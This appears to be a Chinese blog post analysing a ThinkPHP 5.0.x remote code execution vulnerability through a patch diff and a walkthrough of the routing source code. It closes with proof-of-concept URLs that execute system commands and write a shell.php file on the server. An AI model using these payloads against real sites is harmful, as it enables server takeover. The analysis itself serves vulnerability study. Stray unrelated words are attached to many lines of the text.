12月9日,thinkPHP5.*發佈了安全更新,此次更新修復了一處嚴重級別的漏洞,該漏洞可致使(php/系統)代碼執行,因爲框架對控制器名沒有進行足夠的檢測會致使在沒有開啓強制路由的狀況下可能的getshell
漏洞。php
此前沒有研究過thinkPHP框架,此次借這個漏洞學習一下。html
#0x01 補丁比對thinkphp
比較5.0.22和5.0.23的差別,關鍵點在app的module方法。shell
5.0.22:數組
// 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller;
5.0.23:安全
// 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } $controller = $convert ? strtolower($controller) : $controller;
更新了對於控制器名的檢查,可見問題就出在這個控制器的失控。app
#0x02漏洞分析框架
thinkphp各版本代碼差別較大,如下使用thinkphp5.0.22版本。dom
在入口app::run:thinkphp5
if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); }
app::routeCheck:
//Request::path獲取http $_SERVER以及根據config配置參數進行處理 /* $path = '{$module}/{$controller}/{$action}?{$param1}={$val1}&{$param2}={$val2}……' */ $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false;
這裏先去request::path獲取參數:
public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { #s // 判斷URL裏面是否有兼容模式參數 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } elseif (IS_CLI) { // CLI模式下 index.php module/controller/action/params/... $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : ''; } // 分析PATHINFO信息 if (!isset($_SERVER['PATH_INFO'])) { foreach (Config::get('pathinfo_fetch') as $type) { #['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'] if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo; } /** * 獲取當前請求URL的pathinfo信息(不含URL後綴) * @access public * @return string */ public function path() { if (is_null($this->path)) { $suffix = Config::get('url_html_suffix'); #html $pathinfo = $this->pathinfo(); if (false === $suffix) { // 禁止僞靜態訪問 $this->path = $pathinfo; } elseif ($suffix) { // 去除正常的URL後綴 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); } else { // 容許任何後綴訪問 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo); } } return $this->path; }
這裏經過幾種方式去解析路徑,能夠利用兼容模式傳入s參數,去傳遞一個帶反斜槓的路徑(eg:\think\app),若是使用phpinfo模式去傳參,傳入的反斜槓會被替換爲'\'。
回到routeCheck:
// 路由檢測(根據路由定義返回不一樣的URL調度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); #false $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; #false if ($must && false === $result) { // 路由無效 throw new RouteNotFoundException(); } } // 路由無效 解析模塊/控制器/操做/參數... 支持控制器自動搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); }
路由檢測時失敗,若是開啓了強制路由檢查會拋出RouteNotFoundException,但默認這個強制路由是不開啓的,也就是官方指的沒有開啓強制路由可能getshell。
Route::parseUrl:
public static function parseUrl($url, $depr = '/', $autoSearch = false) { if (isset(self::$bind['module'])) { $bind = str_replace('/', $depr, self::$bind['module']); // 若是有模塊/控制器綁定 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } $url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); $route = [null, null, null]; if (isset($path)) { // 解析模塊 $module = Config::get('app_multi_module') ? array_shift($path) : null; if ($autoSearch) { // 自動搜索控制器 $dir = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer'); $suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : ''; $item = []; $find = false; foreach ($path as $val) { $item[] = $val; $file = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT; $file = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT; if (is_file($file)) { $find = true; break; } else { $dir .= DS . Loader::parseName($val); } } if ($find) { $controller = implode('.', $item); $path = array_slice($path, count($item)); } else { $controller = array_shift($path); } } else { // 解析控制器 $controller = !empty($path) ? array_shift($path) : null; } // 解析操做 $action = !empty($path) ? array_shift($path) : null; // 解析額外參數 self::parseUrlParams(empty($path) ? '' : implode('|', $path)); // 封裝路由 $route = [$module, $controller, $action]; // 檢查地址是否被定義過路由 $name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action); $name2 = ''; if (empty($module) || isset($bind) && $module == $bind) { $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action); } if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) { throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url)); } } return ['type' => 'module', 'module' => $route]; } /** * 解析URL的pathinfo參數和變量 * @access private * @param string $url URL地址 * @return array */ private static function parseUrlPath($url) { // 分隔符替換 確保路由定義使用統一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); #echo $url."<br/>"; $var = []; if (false !== strpos($url, '?')) { // [模塊/控制器/操做?]參數1=值1&參數2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模塊/控制器/操做] $path = explode('/', $url); } else { $path = [$url]; } return [$path, $var]; }
這裏拆分模塊/控制器/操做,傳入的url受用戶控制,處理後分割成一個module數組返回。
以後交給app::module處理:
// 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']);
#這裏是本次補丁的修補位置,對控制器名增長檢查 $controller = $convert ? strtolower($controller) : $controller; ...... try { $instance = Loader::controller( $controller, $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); }
這裏會調用loader::controller對控制器進行一個檢查:
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return App::invokeClass($class); } if ($empty) { $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix); if (class_exists($emptyClass)) { return new $emptyClass(Request::instance()); } } throw new ClassNotFoundException('class not exists:' . $class, $class); }
若是class_exists檢測存在,就會去實例化這個類,以後invokeMethod對操做實現調用。
#0x03 利用方法
經過兼容模式傳入一個以反斜槓開始的類名,因爲命名空間的特色,能夠實例化任何一個存在的類(因爲class_exists檢查,須要應用載入過)。
好比咱們傳入index/\think\app/invokefunction,parseUrl拆解出的模塊,控制器,操做分別對應index,\think\app,invokefunction,只要能經過檢查,就會去調用app::invokefunction。
用這樣的方法,去尋找合適的類實例化來形成代碼執行。
#0x04 Poc
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir /thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1 /thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir /thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir /thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]= /thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
ps:
前面太蠢了,只知道生硬的看代碼,後來終於想起來開啓thinkphp的調試模式,再找問題就比較容易了。